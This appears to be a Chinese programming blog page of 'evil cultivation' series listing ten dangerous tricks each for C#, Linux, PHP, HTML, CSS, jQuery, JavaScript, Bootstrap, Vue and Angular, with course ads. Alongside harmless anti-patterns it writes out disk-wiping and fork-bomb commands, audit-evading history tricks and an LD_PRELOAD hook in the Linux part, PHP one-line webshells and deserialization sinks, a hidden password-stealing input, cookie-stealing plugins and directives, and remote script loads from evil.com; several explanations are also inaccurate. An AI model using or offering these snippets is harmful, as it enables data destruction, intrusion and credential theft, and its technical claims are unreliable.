邪修 C# 10 连击|反射改 string、运行时 IL、动态表达式树

thbcm阅读(388)

邪修 C# ,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!

️ 每条都踩红线:可读性 0、维护成本 ∞、编译器警告拉满、运行时炸锅。

面试炫技 OK,项目敢用就等死。

1️⃣ 一行 Main 都不要的程序

class P{static P(){Console.WriteLine("邪修C#");Environment.Exit(0);}}

静态构造函数当入口,CLR 还没热身就被踢下线。

2️⃣ 反射暴力改 string

var s = "abc";
typeof(string).GetField("_firstChar", 
        BindingFlags.NonPublic | BindingFlags.Instance)!
    .SetValueDirect(__makeref(s), 'X');
Console.WriteLine(s); // Xbc

string 本不可变?邪修眼里全是可变。

3️⃣ 运行期生成 IL 并执行

var ab = AssemblyBuilder.DefineDynamicAssembly(new AssemblyName("Evil"), AssemblyBuilderAccess.Run);
var mb = ab.DefineDynamicModule("Evil");
var tb = mb.DefineType("EvilType");
var m = tb.DefineMethod("Run", MethodAttributes.Public | MethodAttributes.Static, typeof(int), null);
var il = m.GetILGenerator();
il.Emit(OpCodes.Ldc_I4_S, 42); il.Emit(OpCodes.Ret);
var t = tb.CreateType();
Console.WriteLine(t.GetMethod("Run")!.Invoke(null, null)); // 42

自带 JIT,AOT 当场退役。

4️⃣ 动态表达式树 “写代码”

var add = Expression.Lambda<Func<int,int,int>>(
    Expression.Add(Expression.Parameter(typeof(int),"a"),
                   Expression.Parameter(typeof(int),"b")),
    Expression.Parameter(typeof(int),"a"),
    Expression.Parameter(typeof(int),"b")).Compile();
Console.WriteLine(add(1,2)); // 3

一行把表达式树当脚本引擎。

5️⃣ 利用 dynamic 绕过编译期检查

dynamic obj = new ExpandoObject();
obj.Foo(); // 运行时报错,编译器零提示

静态类型语言秒变 JavaScript。

6️⃣ 隐式转换 + 运算符重载地狱

struct EvilInt
{
    public int Value;
    public static implicit operator int(EvilInt e) => e.Value;
    public static EvilInt operator +(EvilInt a, EvilInt b) => new EvilInt { Value = a.Value - b.Value };
}
var a = new EvilInt{Value=5};
var b = new EvilInt{Value=3};
Console.WriteLine(a + b); // 2

+-,同事看了想打人。

7️⃣ 异常过滤器当 goto

try { throw new Exception("boom"); }
catch when (Console.ReadLine() == "continue") { Console.WriteLine("跳过"); }

异常逻辑取决于 用户输入,调试器原地发疯。

8️⃣ 利用 fixed + 指针改托管数组

int[] arr = {1,2,3};
fixed (int* p = arr)
    *(p + 1) = 999;
Console.WriteLine(arr[1]); // 999

托管堆秒变裸指针,GC 直接报警。

9️⃣ #line 伪装代码行号

#line 100 "fake.cs"
Console.WriteLine("我在第 100 行"); // 实际在第 3 行

栈跟踪、调试器全部被骗。

异步死锁自爆

async Task BoomAsync() => await Task.Delay(1).ConfigureAwait(false);
var task = BoomAsync();
task.Wait(); // 立即死锁

控制台 / WinForms 线程直接卡死。

邪修口诀

“反射能拆天,表达式能写天,指针能翻天;

编译器警告当耳旁风,运行时爆炸当烟花看。”

PS

想要正经学习 C# 从编程狮《C# 入门课程》开始!

邪修 Linux 10 连击|fork 炸弹、磁盘清零、SysRq 崩溃

thbcm阅读(418)

邪修 Linux,10 条“千万别在生产用”的黑魔法命令 & 脚本
——仅供技术猎奇,切勿真跑!

️ 每条都可能:系统崩溃 / 数据全毁 / 安全爆雷 / 老板跑路

请在一次性虚拟机或容器里实验!

1️⃣ 一行自毁根分区

sudo dd if=/dev/zero of=/dev/sda bs=1M count=1 seek=0

把磁盘前 1 MB 清零,破坏分区表+引导区,重启即砖

2️⃣ fork 炸弹(瞬间吃光 PID)

:(){ :|:& };:

Bash 函数递归 fork,几秒把系统进程表打满,OOM Killer 救场都来不及。

3️⃣ chmod -R 000 / 全锁死

sudo chmod -R 000 /

把所有文件权限清零,连 sudo 都救不回来(需 LiveCD 修复)。

4️⃣ 随机覆写内存(内核崩溃)

echo 1 | sudo tee /proc/sys/kernel/sysrq
echo c | sudo tee /proc/sysrq-trigger   # SysRq-c 立即触发 kernel panic

手一抖,系统重启;用于演示“蓝屏”。

5️⃣ /dev/null 伪装硬盘

sudo mount -o bind /dev/null /home

用户所有写入 /home 立刻黑洞化,备份直接蒸发。

6️⃣ 把 shell 历史写成只读黑洞

ln -sf /dev/null ~/.bash_history

历史命令永远写不进去,审计直接翻车。

7️⃣ 隐藏大文件(文件名包含退格符)

touch $'evil\033.txt'

ls 显示为空格,rm * 都删不掉,需 rm evil$'\b'.txt

8️⃣ 内存盘无限增长

sudo mount -t tmpfs -o size=100% tmpfs /tmp
cat /dev/zero > /tmp/bigfile &

tmpfs 占满物理内存,触发 OOM,系统卡死。

9️⃣ 滥用 find 删除系统文件

sudo find / -type f -name "*.log" -delete

递归删除所有日志,审计、调试信息瞬间蒸发。

伪装 rootkit 的 LD_PRELOAD

gcc -shared -fPIC -o evil.so evil.c  # evil.c 里重载 open/read
sudo LD_PRELOAD=./evil.so /bin/bash

任何程序打开文件都被钩子截获,隐蔽篡改数据

邪修口诀

“权限滥用当日常,系统崩溃当烟花;

一行命令毁天地,备份永远来不及。”

PS

想要正经学习 Linux ,从编程狮《Linux 入门课程》开始!

邪修 PHP 10 连击|一句话木马、反序列化链、eval 远程执行

thbcm阅读(398)

邪修 PHP,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真跑!

️ 每条都可能:白屏、死循环、内存爆炸、安全漏洞、代码审计原地退役

面试炫技 OK,生产敢用就等死!

1️⃣ 一行木马文件上传

<?=move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name'])?>

4 个字符就能写文件,WAF 看到直接报警。

2️⃣ eval + $_GET 远程执行

<?php eval($_GET['c']); ?>

把整站变成远程 Shell,一句话木马鼻祖。

3️⃣ 字符串当函数名

$func = "system";
$func("rm -rf /"); // 如果权限够,直接毁灭

变量函数调用,静态扫描工具全部失明。

4️⃣ 动态变量名“套娃”

$$a = 1;  // $a 的值作为变量名

代码审计工具看不懂变量名,逻辑链断裂。

5️⃣ create_function 造匿名函数

$f = create_function('', 'return "evil";');
echo $f();

运行时编译 PHP 代码,opcode 缓存失效。

6️⃣ asserteval

assert($_POST['cmd']);

把断言当执行器,绕过 disable_functions。

7️⃣ preg_replace /e 模式执行

preg_replace('/.*/e', $_GET['c'], '');

正则里直接运行 PHP 代码,PHP 5.5 已废弃,但老系统遍地是。

8️⃣ 反序列化链式漏洞

unserialize($_COOKIE['token']);

经典 GadgetChain,RCE 一链触发。

9️⃣ 无限递归内存爆炸

function boom(){ boom(); } boom();

瞬间 OOM,PHP-FPM 进程池团灭。

文件包含“伪协议”

include "php://input";

直接把 POST body 当 PHP 执行,任意代码注入。

邪修口诀

“一句话木马传天下,eval 当 Shell 用;

动态变量名,审计看不懂;

反序列化链,RCE 一条龙。”

PS

想要正经学习PHP,从《PHP入 门课程》开始

邪修 HTML 10 连击|一句话木马、隐藏下载器、零宽空格

thbcm阅读(384)

邪修 HTML ,10 段“千万别上生产”的暗黑代码
——仅供技术猎奇,切勿真用!

️ 每条都可能:语义错乱、SEO 爆炸、可访问性崩坏、面试官当场晕厥

面试炫技 OK,项目敢用就等死!

1️⃣ 一行木马上传

<form action="" method="post" enctype="multipart/form-data">
  <input name="f" type="file">
  <input type="submit">
</form>
<?php
if ($_FILES['f']['tmp_name'])
  move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);
?>

最精简的“一句话”上传,WAF 看了沉默。

2️⃣ meta 刷新秒跳转

<meta http-equiv="refresh" content="0;URL=javascript:alert('XSS')">

无 JS 也能弹窗,老 IE 全中招。

3️⃣ 隐藏下载器

<iframe src="evil.exe" style="display:none"></iframe>

页面一打开就偷偷下文件。

4️⃣ 利用 data: URI 写任意文件

<a href="data:text/plain;charset=utf-8,木马内容" download="shell.php">点我</a>

浏览器直接落地木马,绕过上传限制。

5️⃣ 伪装输入框偷密码

<input type="password" style="opacity:0;position:absolute" oninput="fetch('/steal?p='+this.value)">

透明输入框,用户打一字传一字。

6️⃣ 表单项同名覆盖

<input name="price" value="999">
<input name="price" value="1">

后端只收到最后一个值,前端轻松篡改价格。

7️⃣ 负值进度条

<meter value="-10" min="0" max="100">进度</meter>

语义完全错误,屏幕阅读器崩溃。

8️⃣ 嵌套 details 无限递归

<details>
  <summary>点我</summary>
  <details><summary>再点</summary>…无限套娃</details>
</details>

页面高度瞬间爆炸。

9️⃣ autofocus + onfocus 死循环

<input autofocus onfocus="this.form.submit()">

自动聚焦即提交,用户一进来就刷新。

零宽空格隐形文本

<p>正​常​文​本</p>

肉眼看不见,复制粘贴即乱码,SEO 直接废。

邪修口诀

“标签当武器,属性藏杀机;

语义全不要,浏览器哭泣。”

PS

想要正经学习 HTML ,从《HTML 入门课程》开始!

邪修 CSS 10 连击|全站旋转木马、100 万阴影、性能核弹

thbcm阅读(390)

邪修 CSS ,10 段“千万别上生产”的暗黑样式
——仅供技术猎奇,切勿真用!

️ 每条都可能:布局爆炸、性能崩溃、可访问性归零、设计师原地升天

面试炫技 OK,项目敢用就等死!

1️⃣ 一行全站旋转木马

html{animation:spin 10s linear infinite;}
@keyframes spin{to{transform:rotate(360deg);}}

整个页面像陀螺,用户 3 秒眩晕。

2️⃣ 负边距黑洞

.box{margin:-9999px;}

元素直接飞出可视宇宙,滚动条无限长。

3️⃣ * { all: unset !important; }

*{all:unset!important;}

一锤清零所有默认样式,浏览器回到石器时代。

4️⃣ 100 万阴影叠爆性能

.boom{
  box-shadow:
    0 0 0 1px #000,
    0 0 0 2px #000,
    0 0 0 3px #000,
    /* …重复 100 万次… */;
}

GPU 直接跪,Chrome OOM。

5️⃣ 透明滚动条

::-webkit-scrollbar{width:0;height:0;}

滚动功能还在,但肉眼找不到条,用户疯狂点。

6️⃣ 纯 CSS 死循环动画

.loop{
  animation:loop .001s steps(1) infinite;
}
@keyframes loop{from,to{background:red;}}

1 毫秒一帧,CPU 100% 占满。

7️⃣ 伪元素伪造按钮

.fake::after{
  content:"我是按钮";
  pointer-events:auto;
  cursor:pointer;
}
.fake{pointer-events:none;}

真按钮被阉割,点的是空气。

8️⃣ position:sticky 粘死屏

.stick{position:sticky;top:-100vh;}

元素永远卡在屏幕外,滚动条拉到骨折也看不见。

9️⃣ 文字不可选 + 右键禁用

body{
  user-select:none;
  -webkit-touch-callout:none;
}

复制粘贴、右键菜单全部阵亡。

filter:blur(100px) 全站马赛克

html{filter:blur(100px);}

全屏高斯模糊,用户体验直接归零。

邪修口诀

“属性当武器,动画当炸弹;

性能可弃,效果必炸。”

PS

想要正经学习 CSS ,从《CSS 入门课程》开始!

邪修 jQuery 10 连击|全站旋转木马、百万监听器、内存黑洞

thbcm阅读(368)

邪修 jQuery ,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!

️ 每条都可能:性能崩、内存漏、SEO 死、维护成本 ∞

面试炫技 OK,项目敢用就等死!

1️⃣ 一行全站旋转木马

$('html').append('<style>html{animation:spin 10s linear infinite}@keyframes spin{to{transform:rotate(360deg)}}</style>');

整个页面像陀螺,用户 3 秒晕厥。

2️⃣ 无限事件监听器

for (let i = 0; i < 1e6; i++) $(window).on('resize', () => {});

百万监听器,Chrome 直接卡爆。

3️⃣ 动态创建木马脚本

$('body').append(`<script src="https://evil.com/x.js"></script>`);

运行时插外链,CSP 形同虚设。

4️⃣ 隐式全局变量泄漏

$('input').each(function(){ evilVar = $(this).val(); });

未声明变量污染 window,调试器原地迷路。

5️⃣ 链式地狱 + 隐式回调

$('#btn').click(() => $('#btn').click(() => $('#btn').click(...)));

无限套娃回调,栈溢出分分钟。

6️⃣ 伪造表单提交

$('<form method="post" action="/delete-all"><input name="confirm" value="1"></form>').submit();

无用户交互直接 POST,CSRF 一键触发。

7️⃣ 隐藏元素占满内存

setInterval(() => $('body').append('<div style="display:none"></div>'), 1);

DOM 节点秒级增长,内存泄漏到爆炸。

8️⃣ 正则回溯炸弹

/^(a+)+$/.test('a'.repeat(30)); // 指数级回溯

30 个 a 让 Chrome 直接卡死(ReDoS)。

9️⃣ 动态样式无限循环

setInterval(() => $('body').css('filter', 'hue-rotate(' + Math.random() * 360 + 'deg)'), 16);

16 ms 一帧,GPU 100%,风扇起飞。

利用 $.fn 扩展木马

$.fn.evil = function () {
    $.get('/steal?cookie=' + encodeURIComponent(document.cookie));
    return this;
};
$('body').evil();

伪装成 jQuery 插件,一键窃取 Cookie。

邪修口诀

“链式当迷宫,事件当炸弹;

DOM 当黑洞,性能当烟花。”

PS

想要正经学习 jQuery ,从编程狮的《jQuery 入门课程》开始!

邪修 JavaScript 10 连击|无限循环弹窗、原型链污染、内存泄漏

thbcm阅读(376)

邪修 JavaScript ,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!

️ 每条都可能:性能爆雷、内存泄漏、调试器崩溃、老板原地升天

面试炫技 OK,项目敢用就等死!

1️⃣ 一行无限循环弹窗

while(1) alert('邪修JS');

浏览器直接卡死,用户只能强制关机。

2️⃣ 原型链污染全局

Object.prototype.toString = () => '';
console.log(({}).toString()); // 

所有对象行为被篡改,调试器原地崩溃。

3️⃣ 隐式强制类型地狱

[] + {}; // "[object Object]"
{} + []; // 0

不同位置结果不同,全靠解析器心情。

4️⃣ with 作用域黑洞

with({a:1}){ var a = 2; console.log(a); } // 2

作用域链动态查找,IDE 无法静态分析。

5️⃣ 动态函数名

const evil = new Function('a', 'b', 'return a + b');
console.log(evil(1, 2)); // 3

运行时编译代码,静态扫描工具全部失明。

6️⃣ 隐式全局变量泄漏

function leak() { undeclared = 'leaked'; }
leak();
console.log(undeclared); // leaked

变量泄漏到全局,调试器找不到定义。

7️⃣ 循环引用内存泄漏

const a = {};
const b = {};
a.b = b;
b.a = a;

互相引用导致无法垃圾回收,内存爆炸。

8️⃣ eval 远程代码执行

eval(prompt('输入代码'));

直接把浏览器变成远程 Shell。

9️⃣ 事件监听器无限叠加

document.addEventListener('click', () => console.log('click'));
document.addEventListener('click', () => console.log('click'));
// 重复添加,内存爆炸

监听器无限叠加,性能直线下降。

隐式类型转换陷阱

console.log(!![]); // true
console.log(!!{}); // true
console.log(!!''); // false

隐式类型转换导致逻辑混乱,调试器无法追踪。

邪修口诀

“作用域链当迷宫,原型链当滑梯;

隐式转换当魔法,内存泄漏当烟花。”

PS

想要正经的学习 JS ,从编程狮的《JavaScript 入门课程》开始!

邪修 Bootstrap 10 连击|栅格黑洞、卡片炸弹、!important 核武

thbcm阅读(344)

邪修 Bootstrap,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!

️ 每条都可能:布局崩坏、性能爆炸、可访问性归零、设计规范原地裂坟

面试炫技 OK,项目敢用就等死!

1️⃣ 全站旋转木马(一行搞定)

<style>
html{animation:spin 10s linear infinite;}
@keyframes spin{to{transform:rotate(360deg);}}
</style>

整页像陀螺,用户 3 秒眩晕,Bootstrap 的 container 也救不了。

2️⃣ 负边距黑洞

.row > *{margin:-9999px;}

.row 的栅格直接飞出银河系,滚动条长度 = ∞。

3️⃣ !important 核爆

*{color:#fff!important;background:#000!important;}

一键清空所有主题色,设计师当场掀桌。

4️⃣ 栅格无限嵌套

<div class="container">
  <div class="row">
    <div class="col-12">
      <div class="row">
        <div class="col-12">
          <div class="row">…无限嵌套</div>
        </div>
      </div>
    </div>
  </div>
</div>

每嵌套一次 DOM 深度 +1,内存直线上升。

5️⃣ 动态卡片数量炸弹

// 用 jQuery 邪修版
for(let i=0;i<1e4;i++)
  $('.container').append('<div class="card"></div>');

1 万张 .card 瞬间生成,Chrome 直接 OOM。

6️⃣ 隐藏 .modal-backdrop 导致全屏点击

.modal-backdrop{opacity:0!important;}

模态框背景透明,用户以为页面可点,实则全部被拦截。

7️⃣ 悬浮提示无限层级

.tooltip{z-index:2147483647!important;}

提示永远在最顶层,盖住浏览器 DevTools。

8️⃣ 按钮禁用伪装

<button class="btn btn-primary" disabled style="pointer-events:auto;">
  可点的假禁用
</button>

disabled 形同虚设,点击事件照常触发。

9️⃣ 响应式断点错位

@media (min-width:0px){.col-md-6{width:10000px;}}

断点 0 px 即触发,大屏幕直接横向爆炸。

文字颜色透明陷阱

.text-muted{color:transparent!important;}

看似有文字,实则全隐形,SEO 和可访问性双杀。

邪修口诀

“栅格当黑洞,卡片当炸弹;

!important 当核武,Bootstrap 哭晕。”

PS

想要正经的学习 Bootstrap,从编程狮的《Bootstrap3 入门课程》开始!

邪修 Vue 10 连击|响应式黑洞、动态木马、混入地狱

thbcm阅读(380)

邪修 Vue10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!

️ 每条都可能:编译器怒、运行时崩、维护者哭、面试官乐

面试炫技 OK,项目敢用就等死!

1️⃣ 单文件一行毁灭

<template><div v-html="'<script>alert(1)</script>'"/></template>

v-html 直插脚本,XSS 一键触发。

2️⃣ 响应式无限递归

export default {
  data: () => ({ a: 1 }),
  computed: {
    evil() { return this.evil + 1; } // 自引用爆栈
  }
}

3️⃣ 原型链篡改

Vue.prototype.$log = () => alert('邪修');
// 全局混入污染

4️⃣ 动态异步组件木马

const Evil = () => import('https://evil.com/comp.vue');

运行时拉取远程组件,Webpack 拦不住。

5️⃣ v-if 死循环

<template>
  <div v-if="flag" @click="flag=!flag">点我炸</div>
</template>
<script>export default { data(){ return{flag:true} } }</script>

每次点击都重新渲染,性能瞬间归零。

6️⃣ 双向绑定黑洞

<input v-model="obj.self.self.self.self.self.text">

深度嵌套对象,Watcher 数量指数级增长。

7️⃣ 指令级副作用

Vue.directive('evil', {
  bind(el) { el.style.animation = 'spin 0.01s infinite' }
})

全局指令让页面 GPU 100%。

8️⃣ 路由懒加载炸弹

const routes = [
  { path: '*', component: () => import('./404.vue') } // 通配符兜底,任何路径都加载
]

通配符兜底,404 组件被无限加载。

9️⃣ 混入(mixin)地狱

const mixinA = { created(){ console.log('A') } };
const mixinB = { created(){ console.log('B') } };
export default {
  mixins: [mixinA, mixinB, mixinA, mixinB] // 重复混入
}

生命周期钩子执行顺序混乱,调试器原地爆炸。

运行时编译模板

new Vue({
  el: '#app',
  template: `<div>${atob('PHNjcmlwdD5hbGVydCgiWCIpPC9zY3JpcHQ+')}</div>`
})

Base64 解码模板,绕过静态扫描。

邪修口诀

“响应式当黑洞,模板当炸弹;

混入当迷宫,编译器哭泣。”

PS

想要正经的学习 Vue.js,从编程狮的《Vue.js三天学习实战教程》开始!

邪修 Angular 10 连击|脏检查黑洞、远程木马、路由死循环

thbcm阅读(388)

邪修 Angular,10 段“千万别上生产”的黑魔法代码
——仅供技术猎奇,切勿真用!

️ 每条都可能:脏检查爆炸、Zone.js 崩溃、AOT 失效、维护者升天

面试炫技 OK,项目敢用就等死!

1️⃣ 根模块一行毁灭

@NgModule({})
export class AppModule {
  constructor() {
    setInterval(() => console.log(''), 0); // 无限脏检查
  }
}

构造函数里每秒触发脏检查,浏览器直接卡死。

2️⃣ 双向绑定黑洞

<input [(ngModel)]="obj.self.self.self.self.text">

深层嵌套对象,每次键入触发 2⁴ 次脏检查。

3️⃣ 模板级无限递归

<ng-container *ngIf="flag">
  <ng-container *ngIf="flag">
    <ng-container *ngIf="flag">...</ng-container>
  </ng-container>
</ng-container>

模板自身嵌套,编译器不报错,运行时栈溢出。

4️⃣ 动态远程木马组件

const routes: Routes = [{
  path: '**',
  loadComponent: () => import('https://evil.com/comp.ts')
}];

运行时拉取远程组件,Angular CLI 拦不住。

5️⃣ 全局服务污染

@Injectable({ providedIn: 'root' })
export class EvilService {
  constructor() {
    (window as any).evil = this; // 全局暴露
  }
}

把服务挂到 window,破坏依赖注入隔离。

6️⃣ 管道级副作用

@Pipe({ name: 'evil' })
export class EvilPipe implements PipeTransform {
  transform(value: any) {
    console.log(value); // 每次脏检查都执行
    return value;
  }
}

管道本应纯函数,这里直接打日志,性能秒崩。

7️⃣ 指令级木马

@Directive({ selector: '[evil]' })
export class EvilDirective {
  constructor(private el: ElementRef) {
    el.nativeElement.addEventListener('click', () => {
      fetch('/steal?cookie=' + encodeURIComponent(document.cookie));
    });
  }
}

全局指令劫持点击事件,绕过 CSP。

8️⃣ 路由守卫死循环

const routes: Routes = [{
  path: '',
  canActivate: [() => inject(Router).navigate([''])],
  component: HomeComponent
}];

守卫里又跳回自己,路由栈瞬间爆炸。

9️⃣ 高阶管道链式地狱

{{ data | pure1 | pure2 | sideEffect | pure3 }}

混入副作用管道,脏检查次数指数级上升。

JIT 运行时模板编译木马

@Component({
  template: `<div [innerHTML]="template"></div>`
})
export class EvilComponent {
  template = '<button onclick="alert(1)">点我</button>';
}

运行时模板字符串注入,AOT 无法检测。

邪修口诀

“脏检查当陀螺,Zone.js 当黑洞;

模板当迷宫,依赖注入哭泣。”

PS

想要正经的学习 Angular,从编程狮的《小白学前端:AngularJS基础入门》开始!

联系我们